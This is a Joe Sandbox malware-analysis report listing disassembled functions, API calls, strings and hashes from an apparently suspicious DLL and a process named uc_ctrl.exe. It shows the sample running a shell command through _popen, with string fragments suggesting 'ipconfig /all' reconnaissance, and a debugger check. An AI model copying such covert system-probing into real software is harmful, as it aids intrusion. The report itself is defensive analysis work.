Associated: 00000000.00000002.2212593053.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: Exception_callnewh_errno$AllocEncodeFileHeaderHeapPointerRaiseThrow_calloc_crt_calloc_implmalloc
String ID: bad allocation
API String ID: 2559036412-2104205924
Opcode ID: 7ed4f8dcc8abfdd754c6a1bcdbd0e5a601b3b0274017d080a343cb8788dadbea
Instruction ID: aec9cb9010f4079b23ed819f23de61198561f562207619006237ed15ed39fd94
Opcode Fuzzy Hash: 7ed4f8dcc8abfdd754c6a1bcdbd0e5a601b3b0274017d080a343cb8788dadbea
Instruction Fuzzy Hash: 77115A71602B4D85EF9ADB90A8553EA33A4E75D3C4F448420EA4A0AB95EF3CC79DC740

Function 0000000180002A5C Relevance: 10.5, APIs: 7, Instructions: 38COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 0000000180002A65

Part of subcall function 000000018000E6C4: setlocale.LIBCMT ref: 000000018000E6DE

free.LIBCMT ref: 0000000180002A73

Part of subcall function 0000000180011028: HeapFree.KERNEL32 ref: 000000018001103E
Part of subcall function 0000000180011028: _errno.LIBCMT ref: 0000000180011048
Part of subcall function 0000000180011028: GetLastError.KERNEL32 ref: 0000000180011050

free.LIBCMT ref: 0000000180002A86
free.LIBCMT ref: 0000000180002A99
free.LIBCMT ref: 0000000180002AAC
free.LIBCMT ref: 0000000180002ABF
free.LIBCMT ref: 0000000180002AD2

Memory Dump Source

Source File: 00000000.00000002.2212593053.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2212517875.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: free$ErrorFreeHeapLastLocinfo::_Locinfo_dtor_errnosetlocalestd::_
String ID:
API String ID: 1855319098-0
Opcode ID: 86c92858822dfb3e0a8c05a62da117fa8f7b8e3651fd88d8ae2e139e0c59242f
Instruction ID: 4c4d38d6e4a38a8861801e66c0c4c46ae7bc992e827a172b265c7cdaf4a7f0c8
Opcode Fuzzy Hash: 86c92858822dfb3e0a8c05a62da117fa8f7b8e3651fd88d8ae2e139e0c59242f
Instruction Fuzzy Hash: 2D11007670295845FFAFDEA1C0A53F82390DF5DF88F188515B90609186CE65CACCD391

Function 00000001800140B0 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 22COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 00000001800140D1
_getptd.LIBCMT ref: 00000001800140DF
_getptd.LIBCMT ref: 00000001800140F1

Strings

csm, xrefs: 00000001800140C7
MOC, xrefs: 00000001800140BF
RCC, xrefs: 00000001800140B7

Memory Dump Source

Source File: 00000000.00000002.2212593053.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2212517875.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: _getptd
String ID: MOC$RCC$csm
API String ID: 3186804695-2671469338
Opcode ID: 4c3589bdcd3eb91693c6052d6b7662b54bb582d69b2a181c524e9a32a4ba9114
Instruction ID: 49d3ecbaffb7a3366f98abf3f454cfc5eafa5fd80de2831b5844318c4098f760
Opcode Fuzzy Hash: 4c3589bdcd3eb91693c6052d6b7662b54bb582d69b2a181c524e9a32a4ba9114
Instruction Fuzzy Hash: 48F0303690490CCAE7A72BA680053EC3190E79C785F95C462B7040A392DFBC4BDC8B12

Function 0000000180003948 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

rand.LIBCMT ref: 00000001800039C3
rand.LIBCMT ref: 0000000180003A02
rand.LIBCMT ref: 0000000180003A39
rand.LIBCMT ref: 0000000180003A6E

Strings

VUUU, xrefs: 00000001800039CB
gfff, xrefs: 0000000180003A0A

Memory Dump Source

Source File: 00000000.00000002.2212593053.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2212517875.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: rand
String ID: VUUU$gfff
API String ID: 415692148-2662692612
Opcode ID: 01cff65647ab57d6a51077d5da35929bba0939699e571aad53c64250b8d2da85
Instruction ID: 5a9f3911035291b3d45d4327f77069f30eef1c18068163774272d8c2c74d21ab
Opcode Fuzzy Hash: 01cff65647ab57d6a51077d5da35929bba0939699e571aad53c64250b8d2da85
Instruction Fuzzy Hash: 5E412832320A5881EB5ECB2ED40639C7655F389FC4F28C129E6964B7D5CF75C646C381

Function 0000000180013FB3 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32 ref: 0000000180014007
_getptd.LIBCMT ref: 0000000180013FBB

Part of subcall function 000000018001A32C: _getptd_noexit.LIBCMT ref: 000000018001A332
Part of subcall function 000000018001A32C: _amsg_exit.LIBCMT ref: 000000018001A342

_getptd.LIBCMT ref: 000000018001406D
_getptd.LIBCMT ref: 0000000180014079

Strings

csm, xrefs: 000000018001403B

Memory Dump Source

Source File: 00000000.00000002.2212593053.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2212517875.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: _getptd$ExceptionRaise_amsg_exit_getptd_noexit
String ID: csm
API String ID: 2951875022-1018135373
Opcode ID: 8cc5aab486b79f6939ee9c3af446ad11739755221d559d64debd543501878964
Instruction ID: 40f80edded23f28ba7466eb4ad777ea163751a0e19678eeb116ca7e195400584
Opcode Fuzzy Hash: 8cc5aab486b79f6939ee9c3af446ad11739755221d559d64debd543501878964
Instruction Fuzzy Hash: 33212F37204A4986E772DF16E04039E77A0F78DBA5F058116EF9A07795CF39D68ACB01

Function 00000001800094EC Relevance: 7.7, APIs: 5, Instructions: 153COMMON

Download Yara Rule

APIs

fgetc.LIBCMT ref: 00000001800095A1

Memory Dump Source

Source File: 00000000.00000002.2212593053.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2212517875.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: fgetc
String ID:
API String ID: 2807381905-0
Opcode ID: bcc191a65014716d2c4a525ee565ab70f8784ee01b34e641136c42218efe682e
Instruction ID: a4d8914f64e4a6787cee21238c0ecde2a37e96dfca5c7460683af53b69780aac
Opcode Fuzzy Hash: bcc191a65014716d2c4a525ee565ab70f8784ee01b34e641136c42218efe682e
Instruction Fuzzy Hash: 64714773216A48C9EBA2CF79C4903DC33A5F748B98F548622EA1D87B99DF35C658C300

Function 000000018001EED0 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 000000018001EF32
_isleadbyte_l.LIBCMT ref: 000000018001EF62
MultiByteToWideChar.KERNEL32 ref: 000000018001EFA1
MultiByteToWideChar.KERNEL32 ref: 000000018001EFEF
_errno.LIBCMT ref: 000000018001EFF9

Memory Dump Source

Source File: 00000000.00000002.2212593053.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2212517875.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::__errno_isleadbyte_l
String ID:
API String ID: 2998201375-0
Opcode ID: 5f7f30d4f52ae6060e863736173fa21d2a6ab6fe9e5cb4e6b269608deba92a63
Instruction ID: 2aebce520fdb1030d0284b8c206deaa41544c98ff3ad4a6e5fa590660e41ce29
Opcode Fuzzy Hash: 5f7f30d4f52ae6060e863736173fa21d2a6ab6fe9e5cb4e6b269608deba92a63
Instruction Fuzzy Hash: C9418432204BC486E7A28F15D5807ADB7A5F749FC4F18812AFF8957B95DF38C6468700

Function 0000000180007844 Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

_popen.LIBCMT ref: 00000001800078AF

Part of subcall function 000000018000F7C0: _errno.LIBCMT ref: 000000018000F805
Part of subcall function 000000018000F7C0: _invalid_parameter_noinfo.LIBCMT ref: 000000018000F810

std::exception::exception.LIBCMT ref: 00000001800078E8

Part of subcall function 0000000180011768: std::exception::_Copy_str.LIBCMT ref: 0000000180011787

_CxxThrowException.LIBCMT ref: 0000000180007905

Part of subcall function 0000000180011968: RtlPcToFileHeader.KERNEL32 ref: 00000001800119D6
Part of subcall function 0000000180011968: RaiseException.KERNEL32 ref: 0000000180011A15

fgets.LIBCMT ref: 0000000180007918
_pclose.LIBCMT ref: 000000018000794C

Memory Dump Source

Source File: 00000000.00000002.2212593053.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2212517875.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: Exception$Copy_strFileHeaderRaiseThrow_errno_invalid_parameter_noinfo_pclose_popenfgetsstd::exception::_std::exception::exception
String ID:
API String ID: 3601989276-0
Opcode ID: d1c2bdcf21dbd9d423f0d28255e81b47b34df9d7cb371919aeb036999a29bb31
Instruction ID: 741494ff8c48c603f060340f3164d7186deb76b59b713062cd81cd43f84d4af3
Opcode Fuzzy Hash: d1c2bdcf21dbd9d423f0d28255e81b47b34df9d7cb371919aeb036999a29bb31
Instruction Fuzzy Hash: 6A31A472208B8881EBA2DB14E4403EA7790F79C7D4F509225BADD06BA6DF7CC349CB40

Function 000000018000E140 Relevance: 7.5, APIs: 5, Instructions: 32COMMONLIBRARYCODE

Download Yara Rule

APIs

___lc_codepage_func.LIBCMT ref: 000000018000E149

Part of subcall function 0000000180014814: _getptd.LIBCMT ref: 0000000180014818
Part of subcall function 0000000180014814: __updatetlocinfo.LIBCMT ref: 000000018001483B

_calloc_crt.LIBCMT ref: 000000018000E15A

Part of subcall function 0000000180015030: _calloc_impl.LIBCMT ref: 000000018001505E

__pctype_func.LIBCMT ref: 000000018000E168

Part of subcall function 00000001800145EC: _getptd.LIBCMT ref: 00000001800145F0
Part of subcall function 00000001800145EC: __updatetlocinfo.LIBCMT ref: 0000000180014613

__pctype_func.LIBCMT ref: 000000018000E188
___lc_locale_name_func.LIBCMT ref: 000000018000E195

Memory Dump Source

Source File: 00000000.00000002.2212593053.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2212517875.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: __pctype_func__updatetlocinfo_getptd$___lc_codepage_func___lc_locale_name_func_calloc_crt_calloc_impl
String ID:
API String ID: 3512513021-0
Opcode ID: 62c1cbee3eeab5feb9a9471646cb676fdd12a501e9097593323f67b1d88a1167
Instruction ID: 7793111aec6b320c0444ed4408f00ebbd1bf385ae56298b6bcfa5de9583244fa
Opcode Fuzzy Hash: 62c1cbee3eeab5feb9a9471646cb676fdd12a501e9097593323f67b1d88a1167
Instruction Fuzzy Hash: B4F03C36601B4886FB96EBA1D0553DD7294EB4DB94F14C024AA480F386DE78C6988790

Function 0000000180011DF8 Relevance: 7.5, APIs: 5, Instructions: 25COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0000000180011E05

Part of subcall function 000000018001A32C: _getptd_noexit.LIBCMT ref: 000000018001A332
Part of subcall function 000000018001A32C: _amsg_exit.LIBCMT ref: 000000018001A342

_inconsistency.LIBCMT ref: 0000000180011E13

Part of subcall function 000000018001961C: DecodePointer.KERNEL32 ref: 0000000180019627

_getptd.LIBCMT ref: 0000000180011E18
_inconsistency.LIBCMT ref: 0000000180011E34
_getptd.LIBCMT ref: 0000000180011E44

Memory Dump Source

Source File: 00000000.00000002.2212593053.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2212517875.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: _getptd$_inconsistency$DecodePointer_amsg_exit_getptd_noexit
String ID:
API String ID: 3669027769-0
Opcode ID: 673b4aa047bda2a26adaca918e4e1710e602350ae02d7803f2f45d4422cebc96
Instruction ID: 7f289c60e3e5ead815e9fb0deebe04b87a0113275dc322f373711cfba365a46d
Opcode Fuzzy Hash: 673b4aa047bda2a26adaca918e4e1710e602350ae02d7803f2f45d4422cebc96
Instruction Fuzzy Hash: 6BF0F832605D8884EFE66BE5E0413EC62A4A78CBC0F0CD532BA540728BDE24CA988715

Function 0000000180007AFC Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 152COMMON

Download Yara Rule

APIs

Part of subcall function 0000000180007844: _popen.LIBCMT ref: 00000001800078AF
Part of subcall function 0000000180007844: std::exception::exception.LIBCMT ref: 00000001800078E8
Part of subcall function 0000000180007844: _CxxThrowException.LIBCMT ref: 0000000180007905
Part of subcall function 0000000180007844: fgets.LIBCMT ref: 0000000180007918
Part of subcall function 0000000180007844: _pclose.LIBCMT ref: 000000018000794C

Part of subcall function 0000000180001C6C: std::ios_base::getloc.LIBCPMT ref: 0000000180001C98

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 0000000180007D7C

Strings

/al, xrefs: 0000000180007B57
nfig, xrefs: 0000000180007B4D
ipco, xrefs: 0000000180007B43

Memory Dump Source

Source File: 00000000.00000002.2212593053.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2212517875.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: ExceptionIos_base_dtorThrow_pclose_popenfgetsstd::exception::exceptionstd::ios_base::_std::ios_base::getloc
String ID: /al$ipco$nfig
API String ID: 3732825809-4231646982
Opcode ID: dbaa752e8154bc0cc6caaa03e8230bf6fd0d8898ab36d12704d0370fedaf7faf
Instruction ID: 6926da448ab1069d436c1e7fa02b7cb9475c7a4b0967c623bb61332d437d7b94
Opcode Fuzzy Hash: dbaa752e8154bc0cc6caaa03e8230bf6fd0d8898ab36d12704d0370fedaf7faf
Instruction Fuzzy Hash: 8F716C32624AC889EBA1DF34D8407DD3761FB597A8F409216BA6D17AEADF34C749C340

Function 000000018000DDBC Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000000018000DE1D
IsDebuggerPresent.KERNEL32 ref: 000000018000DE35
OutputDebugStringW.KERNEL32 ref: 000000018000DE46

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 000000018000DE3F

Memory Dump Source

Source File: 00000000.00000002.2212593053.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2212517875.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: DebugDebuggerErrorLastOutputPresentString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 389471666-631824599
Opcode ID: 33fbd82ec615fb154af6f43fde0eae5fa8eb4888bf39986b946d19888a6a70be
Instruction ID: d5ee5c9dcf396ed7facc9644c7050836ca73802e6f415431e0a9a1f9314bbde0
Opcode Fuzzy Hash: 33fbd82ec615fb154af6f43fde0eae5fa8eb4888bf39986b946d19888a6a70be
Instruction Fuzzy Hash: 6B117032210B89A7FB86DB26E6443E933A0FB1C7D5F408125E74982A51EF38D27CC710

Function 000000018000EA4C Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

_wfsopen.LIBCMT ref: 000000018000E9E1
fclose.LIBCMT ref: 000000018000E9EE
_wfsopen.LIBCMT ref: 000000018000EA03
fseek.LIBCMT ref: 000000018000EA1D

Memory Dump Source

Source File: 00000000.00000002.2212593053.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2212517875.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: _wfsopen$fclosefseek
String ID:
API String ID: 1261181034-0
Opcode ID: 3e53d3792e5a9509b78e8548b9d6a348b1372f372ad0d4f67881cf57339c7e0c
Instruction ID: bacddf8f21183662a6fbd078512463851c75f916bc6fd8a3ad275ea0fa6aff29
Opcode Fuzzy Hash: 3e53d3792e5a9509b78e8548b9d6a348b1372f372ad0d4f67881cf57339c7e0c
Instruction Fuzzy Hash: 64210531320AC884FBE6DB1A94417E97691A78FBC0F19C124FE49A77D5DE34C64A8300

Function 00000001800279DC Relevance: 6.1, APIs: 4, Instructions: 62stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0000000180027A00

Part of subcall function 00000001800122DC: _getptd.LIBCMT ref: 00000001800122F2
Part of subcall function 00000001800122DC: __updatetlocinfo.LIBCMT ref: 0000000180012327
Part of subcall function 00000001800122DC: __updatetmbcinfo.LIBCMT ref: 000000018001234E

_errno.LIBCMT ref: 0000000180027A0C

Part of subcall function 0000000180015D98: _getptd_noexit.LIBCMT ref: 0000000180015D9C

_invalid_parameter_noinfo.LIBCMT ref: 0000000180027A17
strchr.LIBCMT ref: 0000000180027A2D

Memory Dump Source

Source File: 00000000.00000002.2212593053.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2212517875.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: Locale$UpdateUpdate::___updatetlocinfo__updatetmbcinfo_errno_getptd_getptd_noexit_invalid_parameter_noinfostrchr
String ID:
API String ID: 4151157258-0
Opcode ID: b5374dd9cdd158156e514ae61f4b06f8005796fffd6f488b5722b6490c6d405e
Instruction ID: a970c59fd9778c60c3a47af8d76f23792f1865e1d7fd1e0db758c1ad1b3433ce
Opcode Fuzzy Hash: b5374dd9cdd158156e514ae61f4b06f8005796fffd6f488b5722b6490c6d405e
Instruction Fuzzy Hash: A221C0723086A841EBE7461190503BDA7D2E3C8BE4F58C121FA8E0AAD6DD28C7498712

Function 0000000180018CF8 Relevance: 6.1, APIs: 4, Instructions: 60stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0000000180018D1E

Part of subcall function 00000001800122DC: _getptd.LIBCMT ref: 00000001800122F2
Part of subcall function 00000001800122DC: __updatetlocinfo.LIBCMT ref: 0000000180012327
Part of subcall function 00000001800122DC: __updatetmbcinfo.LIBCMT ref: 000000018001234E

_errno.LIBCMT ref: 0000000180018D28

Part of subcall function 0000000180015D98: _getptd_noexit.LIBCMT ref: 0000000180015D9C

_invalid_parameter_noinfo.LIBCMT ref: 0000000180018D33
strrchr.LIBCMT ref: 0000000180018D4A

Memory Dump Source

Source File: 00000000.00000002.2212593053.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2212517875.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: Locale$UpdateUpdate::___updatetlocinfo__updatetmbcinfo_errno_getptd_getptd_noexit_invalid_parameter_noinfostrrchr
String ID:
API String ID: 3640024801-0
Opcode ID: d9980e661e664fea718c639ab5027c0be1a1fe41c3daf01c9ef9d62a48015d49
Instruction ID: 9c9a3f69ce2196cc367e03635f52a28889bab600fbe4c363c8d1fd145df8681f
Opcode Fuzzy Hash: d9980e661e664fea718c639ab5027c0be1a1fe41c3daf01c9ef9d62a48015d49
Instruction Fuzzy Hash: 8E11E772604F8881FBE78614B0443FD67A19B99BD4F1CC526FA9A077C9CE28C74C9741

Function 0000000180028C64 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

Part of subcall function 0000000180011DF8: _getptd.LIBCMT ref: 0000000180011E05
Part of subcall function 0000000180011DF8: _inconsistency.LIBCMT ref: 0000000180011E13
Part of subcall function 0000000180011DF8: _getptd.LIBCMT ref: 0000000180011E18
Part of subcall function 0000000180011DF8: _inconsistency.LIBCMT ref: 0000000180011E34

_getptd.LIBCMT ref: 0000000180028CB7
_getptd.LIBCMT ref: 0000000180028CCA

Part of subcall function 0000000180011E88: _getptd.LIBCMT ref: 0000000180011E91

Strings

csm, xrefs: 0000000180028C84

Memory Dump Source

Source File: 00000000.00000002.2212593053.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000000.00000002.2212517875.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2212593053.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000000_KLL.jbxd

Similarity

API ID: _getptd$_inconsistency
String ID: csm
API String ID: 1773999731-1018135373
Opcode ID: 18c17b8c94a5013d6eb95dd80769f550abc15144edc4f46f68586cd446b39432
Instruction ID: 6e987fdb1575cbca1b21a57fbbd9e0c616818e880af96d90db9cfcad4a344b50
Opcode Fuzzy Hash: 18c17b8c94a5013d6eb95dd80769f550abc15144edc4f46f68586cd446b39432
Instruction Fuzzy Hash: 69018636542A898AEBA29F31D8427EC33A4EB5DBDDF589531FD094A745CF30CA89D340

Analysis Process: uc_ctrl.exePID: 5792, Parent PID: 320COMMON

Executed Functions

Function 6C6819CE Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,?,6C67B8C3,?,00000003,?,00000004), ref: 6C6819E0
GetProcAddress.KERNEL32(00000000,GetLocaleInfoEx), ref: 6C6819F0
EncodePointer.KERNEL32(00000000,?,6C67B8C3,?,00000003,?,00000004), ref: 6C6819F9
DecodePointer.KERNEL32(A09F48EE,?,?,6C67B8C3,?,00000003,?,00000004), ref: 6C681A07
GetLocaleInfoEx.KERNEL32(00000004,?,00000003,?,?,6C67B8C3,?,00000003,?,00000004), ref: 6C681A26
GetLocaleInfoW.KERNEL32(00000000,?,00000003,?,?,6C67B8C3,?,00000003,?,00000004), ref: 6C681A3D

Strings

kernel32.dll, xrefs: 6C6819DB
GetLocaleInfoEx, xrefs: 6C6819EA

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: InfoLocalePointer$AddressDecodeEncodeHandleModuleProc
String ID: GetLocaleInfoEx$kernel32.dll
API String ID: 3226634038-1547310189
Opcode ID: 47c0228f0554cbbc21626cacbaf30bafaaf69425180cc0e88f74e6cef7aefcbf
Instruction ID: 1af0bc6afe96efb6809cbde64f5fae458934fcd0aec43980415b82da5661959e
Opcode Fuzzy Hash: 47c0228f0554cbbc21626cacbaf30bafaaf69425180cc0e88f74e6cef7aefcbf
Instruction Fuzzy Hash: E301FB37602219BF8F519FA5DD08C9E3F79AB0D7567004424F92596A20DB35C9109BB8

Function 6C660090 Relevance: 9.5, APIs: 3, Strings: 2, Instructions: 790COMMON

Download Yara Rule

Strings

P, xrefs: 6C6600B6
fer, xrefs: 6C66048B

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

